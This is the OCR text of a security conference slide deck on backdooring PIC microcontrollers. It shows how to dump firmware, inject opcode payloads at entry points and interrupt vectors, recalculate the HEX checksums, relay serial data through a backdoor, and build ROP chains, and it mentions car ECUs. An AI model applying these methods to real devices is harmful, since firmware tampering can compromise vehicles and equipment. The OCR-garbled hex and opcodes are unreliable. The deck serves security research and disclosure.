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Backdoors...

Many Android Devices Had a Pre-Installed Backdoor,

Google Reveals

The list of affected devices includes Leagoo M5 Plus, Leagoo M8, Nomu 510, and Nomu S20.
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Microcontrollers vs Microprocessors
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Microprocessors overview

Microprocessors = CPU

 Memories and I/O busses are physically separated.
Usually bigger than a microcontroller.

Greater processing capacity.

MICROPROCESSOR

INPUT - ALU, e QUTPUT
Registers, etc

* Modified-Harvard memory organization.
* 32 or 64 bits (most common).

MEMORY



Microcontrollers overview

* Microcontrollers = CPU + RAM + ROM + /O busses
* Smaller CPU with less processing capacity.
* Usually smaller size than microprocessors.

MICROCONTROLLER

CPU INTERMAL OSCILLATOR

* Harvard memory organization. RAM S Cthars
* 16 bits (most common).

( ) PERIPHERALS 10 busses

o A little stack.



Use cases
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Microcontrollers evolution
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Is worth it?

* Physical Security System:s.

e Car’s ECU.

* Semaphores.

* Elevators.

* Sensors.

e Modules of Industrial system:s.
« Home appliances.

* Robots.




MICROCONTROLLERS
PROGRAMMING
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Microcontrollers programming

MAIN PROG CODE

START Bp .| Brg L - %m . . =
i & D ﬁm W
CLRF PORTD ; Clear PORTD
MOVLW B ]
HOVWF  TRISD i ALl 1s Output Build for Debugging Main Project
1
BSF FPORTD, 2 ; Turn on LED
GOTO % ; Loop forever
END MPLAB X IDE

ASM code to turning on a LED - (PIC)

BUILD SUCCESSFUL (total time: 313ms)
Loading code from fhomefshei/MPLABXProjects/LEDL . ¥/dist /default/production/LEDL.¥. productior.hex. ..

Loading completed

hex file (firmware)



Microcontrollers programming

MPLAB X IPE v5.00

File Settinas View Tools Window Help

Optia =l Operate Power Settings X
oo Device and Tool Selection Results
oo
Operate CP=0FF Checks.
Family: All Families =
Checksum:
9 Device PICLBF45K20 - @
Pass Count:
Power
Tool PICKit3 S.No : BUR145221893 - Discannect Fail Count:
Total Count:

Memory

@

Environment

[olofz]

SQTP

Production

R

Settings

C

Logout

%ﬂ Program % Erase %m Read I%uwvgmfy

Hex File: e/she

Output - IPE %

Currently loaded firmware on PICkit 3

Firmware Suite Version.....0l.52.02

Firmvare type. . ......... . .PICIEF

Programmer to target power is enabled - VDD = 3,250000 wolts.
Target device PICLBF45K28 found.

Device ID Revision = lc

Device Erased...
Programming. ..

The following memory areais) will be programmed:
program memory: start address = Ox0. end address = 0x7f
configuration memory

Programming/Verify complete

2018-10-22 13:15:00 -0300 - Programming complete

Microchip (PIC) programmer software

77BD

Bl

@ Blank Check
L)

=fal roduct basic.X.production.hex Browse | Clear selec

Microchip (PIC) programmer hardware



PROGRAM MEMORY
DUMP



PIC memory organization

PROGRAM
MEMORY

non-volatile

DATA
MEMORY

(RAM)

SFR

GPR

volatile

DATA

FLASH/EEPROM
MEMORY

(ROM)

non-volatile



Program memory dump (step 1)

+5V Pin 1 Indicator
_])f To PICKit3 |:>
2 Pin Description*
vPPIVCLR/RES []1 \ 0[] re7icsPDAT > 1 1 = Vep/MCLR
RAO []2 39 | RBB/CSPCLK 2 _
RA1[]3 3s[] RBS 3 2 = VoD Target
Ra2 []4 37L] RB4 ; 3 = Vss (ground)
e o . 4 = ICSPDAT/PGD
RA4 [6 35 | RB2 +5V
rAs [|7 34]] RB1 5 =ICSPCLK/PGC
+5V REO [ s a3 ] REO e T 6 = LVP
RE1 Lo g 39[] Voo pend
RE2 [10 b 31[] Vss —i
uf':— voo [|11 = 30| RD7 __L
AL—_‘_* vss []12 o 20[] RD6 -
L RA7T[|13 = 28[] RDS
) —RA6 |14 7] RD4
f_mm: RCO [15 26[ ] RCT
—= RC1[]16 25 ] RC6
B re2 [|17 24[] RC5
RC3 [|18 23] RC4
RDO [19 22[] RD3
RD1 []20 1] RD2

Connection from PIC microcontroller to PICKIT 3



rogram memory dump (step 2)

New Project x Select Tool
Steps . Choose Project * Hardware Tools
;. Ehoose Proiect Q Fitter: géﬂ.tmel—ICE
ICD 3
Catedgories: Proiects: 22CD 4
ECTYETETTYE | © T 22 PICkit 4
, g gj:n:;mhpddpd L Existina MPLAB IDE v8 Proiect T oo ! — —
Prebuilt (Hex. Loadable Imaae) Proieg L 1R
= User Makefile Proiect FI¥S

MPLAB X IDE v5.00 - basic : default

Select Device - Production Debug Team Tools Window Help

T, e 7 = £y
ult S/ L‘u M B I/'E}n' i' Wil G~ 4PC: 0xO| |novzdcc : W:0xO : bank O
Start Page X | f] main.asm X Read Device Memory Main Project
Familw: Recentlv Used e
E“ o = o o S ee
Device: PIC18F45K20 A Read EE/Flash Data Memory to File...

X IDE

Using MPLAB X IDE to read (and dump) the program memory



Program memory dump (step 3)

MPLAB X IDE v5.00 - DUMP1 : default Prograrm Memaory
)

. _— . . Line Address Opcode Label | DisAssy
File Edit View Navigate Source Refactor Production Debug Team Tools -ﬂelp = [l HEAE Eol EREIE
X,
™ ¥ = default * U 8- [ Xplained icc : W00 : bank O &l 2 |oooz2  |Fooo NOP
K Projects Ctrl+1 3 |ooos 0000 NOP
X | Files El | Start Page *|[ memory.hex % [ Files Ctrle2 4 0006 OEOE MOVLW OxE
~ & pump1 - 5 |ooos 6E04 MOVWF Oxd, ACCESS
- B R-H- 8 @ +9
¥ @ Headar Files EEUEEN bi=tony Classes Crl+9 T 5 |000A  |OE4B MOVLW 0x48
’ Imnartant Files 1 :@2@@@@@4@@99iir o (&l Fayorites Ctrl+3 7 000C 6E07 MOWWF Ox7, ACCESS
Pl Linker il 2l 14EFGCH EOEC = ices Cirl4s 8  [000E  |0ES0 MOVLW 0x50
e 3 :10001000096E0400092E0AEFE - = = 5 looio GE09 MOVWE 0x9, ACCESS
Sotrce Filas 4/ :10002000042E05EFOOFOEEACE '8 Dashboard 10 looi2 0004 CLRWDT
» B 1 ibran 5 :1000300003ECOOFO839CE3ECO ) nyariarar i
b B | ondoblos & :10004000FFFFFRFFFFFFFRFFFF — heVi9ate! Curlt? 11 [oo14  [2E09 DECFSZ 0x9, F, ACCESS
7 :10805600FFFFFFFFFFFFFFFFF P Action Items Cirl+6 12 jols ERoA DOT0 04
: _ 13 |oo1s FOOO NOP
: FFEEFEEFFEFEERFEE B ook ) N
S lbonseoorrerrrreererRE 14 Joois 2607 DECFSZ 017, F, ACCESS
10 :100G8CEOFFFFFFFFFFFFFFFFE — CUTPut Cerlr4 15 |001C  EFO7 GOTO OxE
11 :10BE90EOFFFFFFFFFFFFFFFFE  Editor ctrl+0 16 |001E  |FOOO NOP
12 :1000ACEOFFFFFFFFFFFFFFFFE  Debugging b 17 0020  |2E04 DECFSZ Oxd, F, ACCESS
13 :1000BCOOFFFFFFFFFFFFFFFFF N N 18 0022 EFOS GOTO Owa
14 '1000CEOOFFFFFFFFFFFFFFFFE =P 19 |0024 FO0O NOP
15 :10880800FFFFFFFFFFFFFFFFF 20 |0026 0Co0 RETLW 0x0
16| :1BGOEEAOFFFFFFFFFFFFFFFFFE T, 21 [ooz2s 5483 CLRF PORTD, ACCESS
17 :10BOFGEOFFFFFFFFFFFFFFFFF —Simotstor = Ty T— 22 |002A  |OE0O MOVLW 010
DUMPL - D : < o 18| :1@018GGGFFFFFFFFFFFFFFFFF . o R e Registers 23 |oo2C 5EOS MOWWE TRISD, ACCESS
: main.as 19 :18011660FFFFFFFFFFFFFFFFFE ontigure Window & sFrs 24 |002E 8C83 BSF PORTD, 6, ACCESS
20 :1@B12000FFFFFFFFFFFFFFFFF  Reset Windows & configuration Bits 25 |o030 ECO3 CALL Ox6, 0
21 :10013000FFFFFFFFFFFFFFFFF  Close Window Crbbw g 26 |0032 FOOO NOP
22 :100L4CO0FFFFFFFFFFFEFFRFE oo all Documents Ctrlt Maytis+W ata temery 27 [ooz4  |oce3 BCF PORTD, 6, ACCESS
23 :16015000FFFFFFFFFFFFFFFFF | ther & Uzer D Memory
24 :10016000FFFFFFFFFFFFFFFFF  Close Other Documents - b | format | cod -
25 :10017000FFFFFFFFFFFFFFFFE  Document Groups ’ M. | frogram - erma cde
26 :1001800CFFFFFFFFFFFFFFFFF  Documents... Maytis-+F4 — =
27 :10019000FFFFFFFFFFFFFFFFFE B = L& output U Call Stack | Program Memory

Load the .hex file

in the MPLAB X IDE




Code vs Disassembly (example)

MAIN PROG CODE Prograrm Memory
START 3 Line | Address Opcode |Label |DisAssy
CLRF PORTD ; Clear PORTD o] 2 0002 FOOO MOP
MOVLW B 3 0004 0000 MOP
MOVWF  TRISD ; ALl is Output 4 0006 GAS3 CLRF PORTD, ACCESS
- _ 5 0008 OEDO MOWLW Ox0
BSF ~  PORTD,Z2 i Turn on LED ¥ 5 |oooa |[sESS MOVWE TRISD, ACCESS
GOTO % ; Loop Toreve: 7 |oooc | |sae3 BSF PORTD, 2, ACCESS
END 8 000E EFO7 GOTO OxE
9 0010 FOOOD MOP

ASM source code Disassembly

Start Page X[ memory.hex X

Source = History I v v
1 |:0200600040000FA

: 1060000003EFOOFA000EB3EARCOESS6EB3BA07EM] 3
: 10001 00006FOFFFFFFFFFFFFFFFFFFFFFFFFFFFFFE
: 10002000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFED
: 10003000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFDG

b WM

OpCodes in the .hex dump



PAYLOAD INJECTION:
AT THE ENTRY POINT



Program standard structure (PIC)

#INCLUDE FILES

PIC CONFIG DIRECTIVES

PROGRAM CONSTANTS

RAM VARIABLES
RESET VECTOR 0x0000; GOTO START I =) Reset Vector: always at Ox0000 memory address
INTERRUPT VECTOR 0x0008 =) Interrupt Vector: at Ox0008 and 0x0018 memory addresses

[ INTERRUPT ROUTINE #1 ]

[ INTERRUPT ROUTINE #2 ]

START: =) Program entry point

PROGRAM MAIN CODE




Locating the entry point

RES VECT CODE Ox0000 Line ||Address |Opcode |Label |DisAssy

GOTO START 1l : : | - GOTO Ox6
2 0002 FOOO NOP
: TODO ADD INTERRUATS HERE IF USED 3 0004 0000 NOP ¥
4 0006 6AB3 CLRF PORTD, ACCESS Entry point
MAIN_PROG CODE 5 0008 0E0O MOWLW Ox0
6 0004 6ESS MOVWE TRISD, ACCESS
START 7 000C 8483 BSF PORTD, 2, ACCESS .
3 000E EFO7 GOTO OxE Simple program example
CLRF PORTD 9 |o0LD FOOO NOP

MOVLW B' 00600006
MOVWF  TRISD

Line |Address Opcode Label |Disfssy
BSF PORTD, 2

GOTO $ o Al Q000 EFCZ GOTO Ox7FE4
2 0002 FO3F NOP T Large program example
END 3 |ooo4  |FFFF | INOP

Example 1 -- Entry point: Ox06 Memory address to inject

Memory address to inject

Example 2 -- Entry point: Ox7F84



Generating the payload #1 (PoC) n

Opcode Label DisAssy

BCF TRISD1 /] Set PIN as output 1000 op

BSF PORTD/1 /| Turn ON a LED 0295 Bk l%'é?;fi&?éis
BCF TRISD,2 /| Set PIN as output 9495 BCF TRISD, 2, ACCESS
BSF PORTD,2 // Turn ON a LED EaeE SorFORID: 2 ALEESS

0x9295 = BCF TRISD,1 0x9495 = BCF TRISD,2
0x8283 = BSF PORTD,1 0x8483 = BSF PORTD,2

Little Endian: 0x9592 Ox8382 Ox9594 Ox8384



Injecting the payload

Entry point offset
Frogram Memaory 1 (EZ20000040000FA
2 Line |[Address |[Opcode |[Label |[DisAssy 2 :1000080014EFOOFO00000EOEGAGE480EA76E500H46 || £
T 3 :10001Q00096ER4G009ZEQAEFGOFRATZEQOVEFOOFGZA| &
a 2 0002 FOOD NOP 4 :1@@*@@42E@5EFBGFBGE}GC OOESSEEB38CA3E]SF _'?é
3 0004 0000 NOP 5 :100030000AFA839CA3ECAAFA1AEFAOFAFFFFFFFAEL |l O
Entry point at Ox28 Original program memory (.hex dump)

1 0Z0000040000FA

2 10000000 14EFOOFEREREOEOECAEE4ABEED/EERGEELG

3 1000100009cE0400092E0AEFAGFOET72EOTEFOGFEZA

4 :10002000042EC5EFOOFAAEEC9592838295948384PF

2 1E][H[HBEIEIEIEIE][HEQE-EEBBBCGB&CGGFGBBQCGBECGGFGE1

6 leogdeeoleEFGOOFEFFRFFFFFFFFFFFFFFFFFFFFFFCE

Payload injected at entry point (0x28)



Checksum recalculation

Sum(bytes on the line) = Not +1 = checksum

Example: :1000000003EFOOFO0000959E838E836 A000E956E

10+00+00+00+03+EF+00+FO+00+00+95+9E+83+8E+83+6 A+00+0OE+95+6E = Ox634

Not(0x634) +1 = OXFFFF OXxFFFF OXFFFF OxF9CC

Checksum = 0xCC



Checksum recalculation

. A
https://www.fischl.de/hex_checksum_calculator/ [ v
1000200004 2E05EFOOF0000CI5928382959483849F
Analyse

(EZ20000040000FA

: 100006001 4EFABFAOE0E0ECER4EEAB0EA7EESOOESS
:10001000096E0400092E0AEFBBFE072E07EFOBFO2A
: 10002000042E05EFOBFO0O0CI59283829594838452
: 10003000000E956E838CA3ECHBFA839CH3ECARFFC3
: 100040001 6EFOBFOFFFFFFFFFFFFFFFFFFFFFFFACT

:10002000042E05EFOOF0000CI5928382959483848F

Address: 002015 = 321g
Byte count: 1015 = 1610
Record type: 0015 = Data
Checksum: 9F 5

L R R iy W L

Calculated checksum: 5215

Payload injected and checksum fixed



Write the program memory

I%ﬁmF’r-;:n_c]r'.am % Erase QF‘ Read @ Vearify @ Blank Check
Lo ] L] L] L]

Hex File: Browse | Clear selec

SQTP File: Browse

Output - IPE X

Connecting to MPLAE PICkit 3...

Currently loaded firmware on PICkit 3
Firmware Suite Version..... 01.52.02
Firmware t¥pe. .. ovvv e PIC18F
Programmer to target power 1s enabled - VDD = 3,500000 volts.

Target device PIC18F45K20 found.

Device ID Revision = lc

2019-07-11 21:47:32 -0300 - Hex file loaded successfully.

Loading code from fhome/shei/MPLABXProjects/LEDZ.¥/modified-firmware.hex. ..
2019-07-11 21:47:35 -0300 - Programming. ..

Device Erased...
Programming. ..

The following memory areals) will be programmed:

program memory: start address = Qx0Q, end address = Qx7fff
configuration memory

Programming/Verify complete

2019-07-11 21:47:48 -0300 - Programming complete
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Injecting to a car’s ECU

EEE
340
341
342
343

— IGNITION
KEY

:101500000001536B53CH36FO07EEZ
:10151000455FEEOCAGG149BBAGACH
:10152000498BOFO1F28FO001000COAR10EA16
:1015300045B81348147B18AECAAREA4B1 7DECOAFO46
:1015400067B3A6EFOAFO47B303EFOBFO53B1FEEF20

Entry point: Ox152A

{6FSAECOBFOFE
O1F29FA00124
6E|

DEMO TIME!



ADVANCED
PAYLOAD INJECTION:
AT THE INTERRUPT VECTOR



Peripherals and Interruptions

RESET VECTOR 0x0000; GOTO START

e Internal timers
* A/D converters
 CCP (Capture/Compare/PWM)
 TX/RX busses

INTERRUPT VECTOR 0x0008

POLLIMNG: INTERRUPT 17

‘ INTERRUPT ROUTINE #1 ‘

POLLING: INTERRUPT 27
 Others
‘ INTERRUPT ROUTIMNE #2 ‘
RETFIE
START:
PROGRAM MAIN CODE 3 INTERRUPTION




GIE and PEIE bits

INTCON

S e =3 2
BSF INTCON, GIE /] Set GIE to 1

BSF INTCON, PEIE /| Set PEIE to 1

26 0032 BEF2 BSF INTCOM, 7, ACCESS

» Interruptions enabled

27 0034 BCF2 BSF INTCOMN, &, ACCESS




Interruption flags

INTCON
TimerO TimerO
Interruption Enabled Interruption Flag

XXIE = Interruption Enabled
XXIF = Interruption Flag

Registers PIE1, PIE2 and PIE3 have interruption enabling bits
Registers PIR1, PIR2 and PIR3 have interruption flags bits



Polling inspection

; TODO ADD INTERRUPTS HERE IF USED
INT VECT CODE Ox0008
MOVWF tempw
SWAPF  STATUS,w
MOVWF temps
; POLLING:
— BTFSC  FIRI1,RCIF
CALL RC
— BTFSC INTCON, TMROIF
CALL ™
— BTFSC  PIRL,ADIF
CALL AD
— BTFSC INTCON, INTOIF
CALL IN
SWAPF temps,w
MOVWF  STATUS
MOVF tempw,w

RETFIE

—— Interrupt vector

Address  Opcode | Label DisAssy

0008 FFFF NOP

ofos)  |sE0O MOWVWF Ox0, ACCESS
000A 3BDE SWAPF STATUS, W, ACCESS
000C 6E01 MOWVWF 0x1, ACCESS
000E BASE BTFSC PIR1, 5, ACCESS
0010 EC24 CALL Ox48, 0

0012 FOOO NOP

0014 B4F2 BTFSC INTCON, 2, ACCESS
0016 EC27 CALL Ox4E, 0

0018 FOOO NOP

001A BCOE BTFSC PIR1, 6, ACCESS
001C EC2B CALL OX56, 0

001E FOOO NOP

0020 B2F2 BTFSC INTCON, 1, ACCESS
0022 EC2F CALL OXSE, 0

0024 FOOO NOP

0026 3801 SWAPF Ox1, W, ACCESS
0028 6EDB MOVWF STATUS, ACCESS
002A 5000 MOWF Ox0, W, ACCESS
002C 0010 RETFIE O

002E 6AB3 CLRF PORID, ACCESS

» Polling



Polling inspection

00CE BASE BTFSC PIRL, 5, ACCESS — PIR1, 5
0010 EC24 CALL 0%48, 0

|

Call to RC interruption routine

REGISTER 9-4: PIR1: PERIPHERAL INTERRUPT REQUEST (FLAG) REGISTER 1

R/W-0 R/W-0 R-0 R-0 R/W-0 R/W-0 R/W-0 R/W-0
PSPIF( ADIF RCIF TXIF SSPIF CCP1IF TMR2IF TMR1IF
bit 7 bit 0

PIR1, 5 = PIR1, RCIF



Memory addresses to inject a payload

Address | Opcode | Label | DisAssy

0006 FFFF NOP

000ge GEDD MOWVWE OxD, ACCESS

000A 3808 SWAPF STATUS, W, ACCESS

0ooc GEDL MOWWE Oxl, ACCESS

Q00E BASE BTFSC PIR1, 5, ACCESS

oo1o  ecad CALL 048, O —— 0Ox48 to inject a payload at the RC interruption
0014 B4F2 ETFSC INTCON, 2, ACCESS

0016  |EC27 CALL Ox4E, 0 —> Ox4E to inject a payload at TimerO interruption
ools FOOO NOP

001A BCOE BTFSC PIR1, 6, ACCESS o ) )
001C  |EC2B CALL 0x56, 0 —— 0x56 to inject a payload at the AD interruption
0D01E FOOD MOP

0020 E2F2 BTFSC INTCOM, 1, ACCESS .. . .
0022 EC2F CALL OXSE, 0 —> 0OxbE to |nJeCt a payIOad at the INTO Interruptlon
0nz24 FOOO NOP

0026 3801 SWAPF Oxl, W, ACCESS

oozg GEDE MOVWE STATUS, ACCESS

0024 5000 MOWE Ox0, W, ACCESS

noz2c 0olo RETFIE O

00ZE GAS3 CLRF PORTD, ACCESS




Backdooring the EUSART communication

Step 1: locate where the RC interruption routine begins (by inspecting the polling)

Q00E BASE BTFSC PIRL, S, ACCESS
0010 ECZ4 CALL Ox48, 0
Ox48
l RC interruption routine begins

- 100060601 7EFAOFA0AR0FFFFAOEEDS38016ESEBABT
Call to RC interruption routine 10001 00024ECOAFOF2B427ECAAFPOEBC2BECABFADE
- 10002000F2B22FECOAFOA138D8REAASA10RAA836A55
- 100030AAF26AF28EF28CF28AF7889D8ASDSCARAEL 2
:1@@@956E838422EF@@F@9 9AB386000CF294D2
- 100050000000838600ACIESCARAAS38600ACF292B8
- 1000600R0EA08386000CFFFFFFFFFFFFFFFFFFFFSS



Backdooring the EUSART communication

Step 2: Cook a payload that makes a relaying of the received data to a TX peripheral
which we are able to monitor externally (example)

MOVF RCREG, W I/ Move the received data to “W” register

BSF TXSTA, TXEN /| Enable transmission

BCF TXSTA, SYNC /| Set asynchronous operation

BSF RCSTA, SPEN /] Set TX/CK pin as an output

MOVWF TXREG /] Move received data (in W) to TXREG to be re-transmitted
FOOO MNOP
SOME MOWF RCREG, W, ACCESS
e o oFTTA 2 aCcres OxAE50 OxACSA O0xAC98 OxABSE OxADGE

BEAB BSF RCSTA, 7, ACCESS
SEAD MOWWE TXREG, ACCESS
SADE BCF PIR1, 5, ACCESS




Backdooring the EUSART communication

Step 3: Inject the payload where the RC interruption routine begins

Oox48
RC interruption routine begins

$ 100000001 7EFOOFOR0CUFFFFOOEEDE3IBO1EESEBARY
P 1000100024ECOOFOF2B427ECOOFMOEBCZBECOOFEDEG
P 10002000F2B22FECOOFEO1 38D86EA0501000836A55
1 0003000F26AF2BEF2ECFZE8A268008A5DECONOE]LZ
: 10004000956E838422EFO0FHAESOACBAACYBABBEF4 | — Backdoor
: 1000500CADEEPESAS38600ACF294000A83860GACAD
;1 00060009ESCAA00E38600ACF25200008386000CAE

DEMO TIME!



STACK
PAYLOAD INJECTION:
CONTROLLING PROGRAM FLOW



STKPTR, TOSU, TOSH and TOSL

STKPTR = Stack Pointer register
TOSU, TOSH and TOSL = Top of Stack registers

Return Address Stack <20:0>

11111
11110
Top-of-Stack Registers 11101 Stack Pointer
TOSU TOSH TOSL - e = : STKPTR<4.0>
[ 1Ah ]| [34h ] - e 1 e 00010

- v g DODIIJ
S~ Top-of-Stack | 001A34h | 00010

000D58h | 00001
00000




Program flow control

INCF STKPTR,F I/ SP increment Address Opcode |Label | DisAssy
000C 8083 BSF PORTD, 0, ACCESS
000E 2AFC INCF STKPTR, F, ACCESS | —>  SP Increment
MOVLW 0x00 0010 0EOO MOWLW 0x0 )
MOVWEF TOSU /| TOSU = Ox00 0012 GEFF MOWVWE TOSU, ACCESS
0014 0E0O MOWLW 0x0
0016 GEFE MOVWE TOSH, ACCESS — TOS5 = 0x000024
MOVLW oxoC 0018 0E24 MOVLW Ox24
MOVWE TOSH /] TOSH = 0x0C 0014 GEFD MOVWE TOS, ACCESS ]
001cC 0012 RETURN 0O
001E EFOG GOTO OxC
MOVLW 0x72
MOVWEF TOSL /| TOSL = Ox72
0022 0000 NOP v
RETURN 0¢24) |scss3 BSF PORTD, 6, ACCESS
0026 EF13 GOTO Ox26

Jump to 0x000C72 Jump to 0x000024



ROP chain

ROP gadgets:

0x0060 = OxFC2A000EFF6EO0OEFEGEGOOEFDGE  (last) Gadget example at 0X0040:
0x0058 = OxFC2A000EFF6EO0OEFEGESS0EFDGE

0x0050 = OXFC2A000EFF6EO0OEFEGES00EFDGE 004z fecos ALowo.0
0x0048 = OXFC2A000EFF6EO0OEFEGE4S0EFDGE 0045 locos RETIW 510
0x0040 = OxFC2A000EFF6EO00EFEGE400EFDGE l

0x0038 = OxFC2A000EFF6EOOOEFEGE3SOEFDGE
0x0030 = OxFC2A000EFF6EOOOEFEGE3OOEFDGE
0x0028 = OxFC2A000EFF6EOOOEFEGE280EFDGE  (first)

RETURN or RETLW

RET = 0x1200

DEMO TIME!



PROGRAM MEMORY
PROTECTIONS



Code protection

Microchip Config Directives

5 |ooos 6E00D MOVWE Ox0, ACCESS
: CONFIGSL pios ime | lower s e
CONFIG CPO = ON g8  |ooOE BASE BTFSC PIR1, 5, ACCESS
CONFIG CP1 = ON ?n ggig Egsg E’;LPL 0x48, 0
CONFIG CPZ = 0ON 11 |0014  |B4F2 BTFSC INTCON, 2, ACCESS
CONFIG CP3 = ON 12 jools ecar CALL 04, 0
14 |o0lA  [BCOE BTFSC PIRL, 6, ACCESS

Program memory dump still works



Boot and Data protection

Microchip Config Directives

5 0008 0000 NOP
. . & 000A 0000 NOP

; CONFIGEH 7 000C 0000 NOP
CONFIG CPB = OM 8 000E 0ooo NOP
. N . g 0010 0000 NOP
CONFIG CPD = ON 10 |oo1z 0000 NOP
11 |oo14 0000 NOP

Program memory dump doesn’t work



CONCLUSIONS

* Backdooring microcontrollers is possible.

« White paper is available: https://i.blackhat.com/USA-19/Thursday/us-19-Berta-
Backdooring-Hardware-Devices-By-Injecting-Malicious-Payloads-On-Microcontrollers-

wp.pdf

* Most concepts can be extended to other vendors.

e Special thank to Sol, Nico Waisman and Dreamlab Technologies.
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Questions & Answers

CONNS
SOQON

Sheila Ayelen Berta
Offensive Security

Researcher

@UnaPibaGeek

To join the Black Hat mailing list,
email BH LIST to:
feedback@blackhat.com

To join our LinkedIn Group:
http://www.linkedin.com/groups?gid
=37658&trk=hb_side g

To follow Black Hat on Twitter:
https://twitter.com/Blackhatevents

Black Hat’s Facebook Fan Page:
http://www.facebook.com/blackhat

Find out more at www.blackhat.com

Next Webcast: September 19, 2019



http://www.blackhat.com/

blgc’zk hat

CLAS TS

Thank You!

Y @BlackHatEvents / #BlackHatWebcasts



